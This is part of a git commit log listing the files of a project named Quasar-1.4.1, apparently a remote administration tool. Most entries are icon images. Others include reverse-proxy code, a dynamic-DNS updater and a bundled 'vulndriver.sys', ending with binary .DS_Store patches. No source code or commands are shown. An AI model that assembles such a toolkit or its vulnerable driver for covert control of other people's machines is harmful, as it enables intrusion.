Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_zip.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_word.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_world.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/paintbrush.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/paintcan.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/palette.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/paste_plain.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/paste_word.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/phone.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_sound.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/photo.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/photos.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/picture.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_empty.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_save.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/pictures.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/pilcrow.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/pill.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/pill_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_disabled.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/plugin_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/printer.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_empty.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/printer_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/rainbow.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/report.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/report_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/report_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/report_disk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/report_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/report_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/report_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/report_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/report_magnify.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/report_picture.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/report_user.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/report_word.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_first.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_last.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_next.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/resultset_previous.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/rosette.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/rss.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/rss_valid.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_gear.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_get.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ruby_put.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script_code.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script_code_red.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script_gear.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script_lightning.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script_palette.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/script_save.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server_chart.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server_compressed.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server_connect.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server_database.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server_lightning.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/server_uncompressed.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shading.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_bottom.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_center.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_left.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_middle.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_right.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_align_top.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_flip_horizontal.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_flip_vertical.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_group.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_handles.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_back.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_backwards.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_forwards.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_move_front.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_rotate_anticlockwise.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_rotate_clockwise.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_ungroup.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shield.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sitemap.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sitemap_color.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sound.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_low.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_mute.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_none.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/spellcheck.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_8ball.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_basketball.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_football.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_golf.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_raquet.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_shuttlecock.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_soccer.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_tennis.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/star.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/status_away.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/status_busy.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/status_offline.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/status_online.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/stop.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/style.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/style_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/style_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/style_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/style_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/sum.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tab.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_gear.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_lightning.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_multiple.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_refresh.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_relationship.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_row_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_row_insert.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_save.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/table_sort.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tag.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_green.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_orange.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_pink.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_purple.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_red.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_yellow.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/television.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/television_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/television_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_center.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_justify.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_left.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_right.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_allcaps.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_bold.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_columns.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_dropcaps.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_1.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_2.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_3.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_4.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_5.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_6.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_horizontalrule.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_indent.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_indent_remove.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_italic.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_kerning.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_letter_omega.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_letterspacing.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_linespacing.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_list_bullets.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_list_numbers.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_lowercase.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_bottom.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_left.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_right.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_top.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_replace.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_signature.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_smallcaps.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_strikethrough.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_subscript.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_superscript.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_underline.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/text_uppercase.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_rename.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/thumb_down.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/thumb_up.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tick.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/time.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/time_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/time_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/time_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/timeline_marker.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/tux.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/user.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/user_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/user_comment.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/user_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/user_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/user_female.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/user_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/user_gray.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/user_green.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/user_orange.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/user_red.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/user_suit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/vector.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/vector_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/vector_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/wand.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_clouds.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_cloudy.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_lightning.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_rain.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_snow.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_sun.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/world.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/world_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/world_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/world_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/world_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/world_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/wrench.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/wrench_orange.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_valid.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom_in.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom_out.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/vulndriver.sys create mode 100755 Quasar-1.4.1/Quasar.Server/ReverseProxy/ReverseProxyClient.cs create mode 100755 Quasar-1.4.1/Quasar.Server/ReverseProxy/ReverseProxyServer.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsService.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Statistics/ClientStatisticsSnapshot.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Utilities/DarkModeHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Utilities/FrameCounter.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Utilities/ListViewColumnSorter.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Utilities/NativeMethods.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Utilities/NoIpUpdater.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Utilities/ThemeManager.cs create mode 100755 Quasar-1.4.1/Quasar.Server/app.manifest create mode 100755 Quasar-1.4.1/Quasar.sln create mode 100755 Quasar-1.4.1/README.md create mode 100755 Quasar-1.4.1/ROADMAP.md create mode 100755 Quasar-1.4.1/WEBCAM_FIX_COMPLETE.txt create mode 100755 Quasar-1.4.1/WEBCAM_OPTIMIZATIONS.txt create mode 100755 Quasar-1.4.1/WEBCAM_TEST.txt create mode 100755 Quasar-1.4.1/appveyor.yml create mode 100755 Quasar-1.4.1/license.dat create mode 100755 Quasar-1.4.1/svg2png_tool/out/ExCSS.dll create mode 100755 Quasar-1.4.1/svg2png_tool/out/Microsoft.Win32.SystemEvents.dll create mode 100755 Quasar-1.4.1/svg2png_tool/out/Svg.dll create mode 100755 Quasar-1.4.1/svg2png_tool/out/System.Drawing.Common.dll create mode 100755 Quasar-1.4.1/svg2png_tool/out/runtimes/unix/lib/netcoreapp3.0/System.Drawing.Common.dll create mode 100755 Quasar-1.4.1/svg2png_tool/out/runtimes/win/lib/netcoreapp3.0/Microsoft.Win32.SystemEvents.dll create mode 100755 Quasar-1.4.1/svg2png_tool/out/runtimes/win/lib/netcoreapp3.0/System.Drawing.Common.dll create mode 100755 Quasar-1.4.1/svg2png_tool/out/svg2png.deps.json create mode 100755 Quasar-1.4.1/svg2png_tool/out/svg2png.dll create mode 100755 Quasar-1.4.1/svg2png_tool/out/svg2png.exe create mode 100755 Quasar-1.4.1/svg2png_tool/out/svg2png.runtimeconfig.json diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..ad6187fde90d7bc65e5b0852701882f599502bf8 GIT binary patch literal 6148 zcmeHKJxc>Y5S`I00$Kzs%WW(T9QXsya5i=le}IVrEfOv$>96%)S!&_$v9a*Io$=%F z2xuW9GcfyRcV}kz9^CGZi0F7dFGYqTGJq15Mvri~cWTR>3!vs4Q@N2tDP<%_J&FF} z5cj?-XR?;5+(JM0Kaz5BRZcFO<%%0GPWPTS`7WEfo-LXgdrZ=mx<~4eU?3O>27-ZL;71JL&ZZ1@45JMOf`MS*odKQ?2}-OSTf=;Gpvffwkk9BW zuvtqmCOKA)ts!P0YN0?2RWC8r!ZDuQuX1b+EnL)#5A~JbiWkkRBY(>7qLpE^!9Xz3 zWnkO7L*D-<_+@&F{BB6}f`MS*pE00CJ*mg|D8F03d>-%G1igS#=-1MK!0tQ((BV0< epC@fT(S~2;*cvhm$8$I^9s-$=Xo7)XVBi(`oH1Ge literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/.DS_Store b/Quasar-1.4.1/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..299e33a849d3af6cbdc06781555b2393b623a559 GIT binary patch literal 8196 zcmeHMJ8u&~5T3OSwtz@TX;NOpOF|KGMR|k^5|0ApP!l_e93(qu;=~f&RS-l&Nr^;7 zOHD;X%TJ(2LZYHXe6zbYH+#3ItAL2z=ysx;Z+5)`LpOs z8teHfw1$0i6;i>TXpfF)FdDA)w$lPSya*Wx83-8&83-8&8Tc16fIFL8$8+x+ZRkS= zLI(cJ4Dk67;b9qDnHi~%4s^N%fNbHlZulK_fVPROjIGR!)TS8IR1eCUDqCVGV-9`9 